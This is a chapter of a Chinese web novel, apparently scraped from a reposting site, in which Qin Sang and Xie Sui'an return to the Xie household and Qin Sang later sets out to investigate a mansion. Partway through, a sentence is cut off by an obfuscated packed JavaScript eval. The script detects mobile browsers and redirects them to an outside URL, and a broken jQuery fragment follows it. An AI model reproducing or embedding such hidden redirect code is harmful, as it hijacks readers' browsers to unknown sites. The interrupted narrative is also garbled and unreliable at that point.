谢岁安和秦桑对视一眼,沉默不语。
谢霄说了,宁安王出城带兵是密旨,旨意明面上是去协助暗访赈灾粮一案,实则有什么另外的目的,往深了去猜,还是能猜个一二。
这无疑映证了谢霄的说法。
想到此处,两人情绪都有些低沉。毕竟才见过了流民的艰辛,若是真的内乱打起来,还不知道要有多少人陪葬。百姓何辜?
驾车回城很顺利,就算有盘查,两人与画像上的人也不像。
唯一惊险的事情是,车帘拉上的瞬间,外面士兵在同谭秕打招呼。
谭秕为人很敏锐,是唯一可能怀疑到谢岁安身上来的人。
“等等!”果然,他叫停了马车。
谢岁安有点慌,给秦桑递了个眼色。秦桑低声问:“他认出你了?”
谢岁安摇头,又点头:“对视了一眼,不过那时我是女装……”
秦桑懂了。
不怕一万就怕万一。
她当即攒了个微笑,主动掀开车帘和来人打招呼:“谭大人~”
谭秕一贯冷着一张脸,叫人看不出在想什么。听见女人娇滴滴的声音,他下意识蹙眉,脸上一闪而过些许厌烦的表情,见是秦桑,那点厌烦又消失了,恢复死气沉沉的冷漠。
他走向秦桑,在车前站定,眼睛下意识往车里瞥。秦桑大大方方地让他看,这个方向只能看见谢岁安侧脸。
“谭将军,怎么城外还有这么多的灾民啊,这都多久了,叫人进进出出的看着,很是不安呐。”秦桑年纪小,装起天真可爱实在是浑然天成。
谭秕冷着一张脸,面无表情问:“去哪儿了?”
秦桑欲言又止了半晌,最后咬唇道:“出去庄子上玩玩,城里闷得慌。”
一副做了不好意思的事情,被人发现之后为难的样子。
没法子,如果谢府四处打探谢岁安的消息漏得满大街都是,他们现在的确只有一种合理解释的方式,反正宁安王也不会在意这个,更不会让流言发酵。
谭秕深深看了她一眼,不知在想什么,过了半晌,说:“还没恭喜你,即将成为宁安王妃。不好好在家呆着,外面这么乱,四处乱跑作什么?”
秦桑闻言,适当地露出一点哀伤的神色,垂眸道:“有些事,在别人看来是喜事,在我看来却未必。”
谭秕:“……”
秦桑抬头看他,苦笑道:“将军身处京都多年,何必与我一个乡野丫头打哑谜。那宁安王妃都卒了两个……”说着,她恰到好处地红着眼哽咽了一番,才说,“但这都是命,我知道,我认了便是。”
谭秕没说话,始终静静盯着她,良久才道:“愚蠢的人才会死,聪明人只会想方设法活下去。你从乡下来,必然知道杂草坚韧的道理。”
秦桑抹了一下眼睛:“其实也不算乡下……”
谭秕:“……”
“……”谢岁安在车里憋笑憋得甚是辛苦,就听见车外脚步声渐渐走远。
秦桑放下车帘回头看过来,恰好迎上谢岁安的一双漆黑眼眸,她说:“你这是什么表情?”
“你还是用了这个理由,”谢岁安有点羞涩,又故作矜持,“他一定误以为你不想嫁宁安王,所以想跟我私奔。”
秦桑:“……”
秦桑敲了敲车壁:“秦叔,回家!”
两人消失了三天,谢二夫人虽然担心得不得了,但进门看见一切依然是有条不紊,并不忙乱。
见两人回来,下人纷纷放下手里的活计,边跑边喊:“回来了,回来了!二公子和四姑娘回来了!”
“……”秦桑缓缓看向谢岁安:“谁是四姑娘?”
谢岁安摇头。他也疑惑。
不久,岑碧云身后跟着一群大大小小全都迎到了前院。
“你去哪儿了啊!”岑碧云上手就捶,“你要担心死为娘的吗?!”
原来还不觉得有什么,即便经历过生死,但现在见着自己母亲红着眼眶泪眼朦胧的模样,谢岁安也忍不住红了眼。
他抓住岑碧云的手:“母亲别打了,这不是好好回来了么。”
“天爷呀,你还晓得回来!你!”岑碧云抽出自己的手,又在他后背上重重一拍。
“嘶!”谢岁安几乎不曾被她这一巴掌再次拍裂了伤口。
岑碧云脸色一僵,哭也顾不上了:“怎么了?受伤了?哪儿受伤了啊,给为娘看看,哪儿受伤了……”
谢岁安忙安抚她:“娘,进去再说,进去再说好吗,我衣服还脏呢,回去沐浴以后再向您请罪。还有,”他看向秦桑,“她怎么成了四姑娘了?”
岑碧云这会儿才注意到被挤到一旁去的秦桑。愣了愣,脸色又是一变,哎哟道:“你……欸你也来,”她的声音明显轻柔了许多,“你怎么也跟着安儿瞎胡闹,你身上没伤吧?”
“伤?谁伤了?”得到消息的大夫人王惠文也带着人赶来,正好听见岑碧云的最后一句。
现在秦桑可是家里的重要人物,丢了好几天,连皇上下旨那天都只能瞒着说病重,若是伤了哪儿,怎么跟宁安王交代?
一听见人受伤,她心都提到半空了,脸色灰败地走出来。岑碧云忙去拉她:“嫂嫂莫急,是安儿受伤了,我正问呢,丫头应该没受伤吧?”说着看向秦桑。
然后大家都呆了,秦桑双手裹着粗糙的纱布……看着比谢岁安要严重得多。
嗨,怎么刚进来时没发现呢,岑碧云暗暗自责。
王惠文蹙着眉走到秦桑面前抬起她的手,忧心忡忡道:“这是怎么了?”
“伤了指甲,长出新的就好了。”秦桑明显比他们都淡定,“还有,我怎么听他们叫我四姑娘?”
“伤了指甲?指甲落了?”王惠文声调都变了,依然没有回答秦桑的问题,全身心都放在了她手上,拉起来就想拆纱布,又颤着手不敢动。
秦桑不明白她这么紧张做什么,指甲落了就再长,总之在她看来算不得什么大事。
王惠文却厉声吩咐贴身丫鬟:“去,马上去安和堂请睢大夫来。”
“是,主母。”丫鬟利落地应声,即刻去了。
“好在听说宁安王旧疾又犯了,还要一些时间修养恢复。”王惠文像是自我安慰,稍稍松了一口气,但还是拉着人上下左右再仔细查看,“你们还要去宫里谢恩呢,指甲都没有,成个什么样子,皇上若是看见了,还当我们谢家虐待你。”
说着,她泪眼朦胧看向秦桑,替她捋了捋纷乱的鬓发,一副母亲慈爱的模样:“你去哪儿了这几天?我们找你都快找疯了,若你不在,我们谢家就犯了欺君大罪你知道不知道?”
“……”秦桑老实回答:“我也不知道能这么巧,皇上恰好就这个时候下旨赐婚……我只是……碰巧遇到点意外,以为一天就能回来的,对不起,让你们替我担心了。”
王惠文盯着她看了一阵,又瞥了一眼旁边的谢岁安,欲言又止,最后看了一眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262887|168466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
岑碧云,垂眸道:“罢了,既然已经回来了,都回去吧,一身泥,吩咐下去,烧水给姑娘和公子沐浴。”
***
秦桑成为四姑娘是王惠文的意思,这是给她正式的名分,否则,对外难以服众。如此一来,原来的四姑娘就成了五姑娘,接着以下所有姑娘的排位依次往下顺。
秦桑听伶仃说完,有点吃惊:“还能这么搞?”
伶仃指着屋里突然出现的一堆稀奇古怪的摆件,说:“还不止呢,您看这些,都是这两天紧着添置的。”
秦桑摸着累金丝檀香炉,没有料到自己回来以后待遇竟然提升一大截,嗯,毕竟是要做王妃的人。
其实王惠文的意思她明白,就是嫌她小门户出来的不懂规矩,须得让她提前熟悉熟悉大户人家的排场,不要进了王府以后闹笑话,传出去说谢府教导无方,难怪会没落。
为此,她每日的训练时间也拉得更长,嬷嬷更严厉。想要偷偷摸摸做点自己的事情,只能在晚上。
王惠文找来的大夫开的药很好,她受伤的指甲很快结痂脱落了,静等着新指甲长出来。但是回来好几天都没再见过谢岁安,大约是被大人们给拘禁起来了,也不知道他的伤好得如何。
不过想来也没事,那么多人围着转,总不会比之前差。
每天晚上秦保蕴都会带着消息来,大多都是一些无关紧要的。因为回来之前两人已经分析确定京都还有另外一只手在搅弄朝局,所以她回来后就立刻交代秦叔和曹安沐仔细留意各家动静。
事无巨细都可以拿上来说,从冗杂的信息里挑选不合常理的部分,总能发现蛛丝马迹的。
这一日,她练完一天的坐姿和微笑,沐浴之后躺在院子里等秦保蕴。秦保蕴漏液翻墙进来,递来一个消息——说是长公主的宝贝儿子,柏意卿在城东偷偷买了座宅子,最近在翻新修葺。
修房子的泥瓦匠是他们的人,听那管事的说漏嘴,才知道那房子是柏大公子金屋藏娇用的。
“金屋藏娇?”秦桑觉得稀奇,柏疫情那冰清玉洁断情绝爱的样子,哪儿像是会金屋藏娇的。
事出反常必有妖,她决定亲自去探探。
“宅子在哪儿?”她问。
秦保蕴如实说了。
“还没人入住吧?”她又问。
秦保蕴点头,但补充道:“不过姑娘还是不要再自己冒险了,我可以亲自去看看。”
秦桑想了想,说:“无妨,我们一起去。”
秦保蕴劝不住她,只能应了。
是夜,秦桑换上一身夜行衣,悄无声息跃出了谢府的围墙。
***
烛火朦胧,照亮小小一隅,昏黄的灯光晕染在窗纸上,在初秋的夜晚显出一点孤寂来。
有人在门口徘徊了一会儿,转身走了。
屋内,酒气正浓。
谢景泽原本皮肤白皙,醉酒之后,脖子之上像充血似的红成一颗硕大的水蜜桃。
他单手撑着脑袋,一手抠着酒杯,看着细流般的酒水慢慢落入杯子里,溅起细碎的酒花。
谢岁安给自己也满上,伸手过来碰了一下,囫囵说了一句“喝”,然后仰头饮尽了。
谢景泽抬起沉重的眼皮看他,说:“你的伤没好,不能喝这么多酒。”
谢岁安已经给自己再添了一杯,谢景泽只好伸手过去挡住他杯口。
对方愣了愣,无奈放下酒杯,双手捧着脸,开始默默悲怆。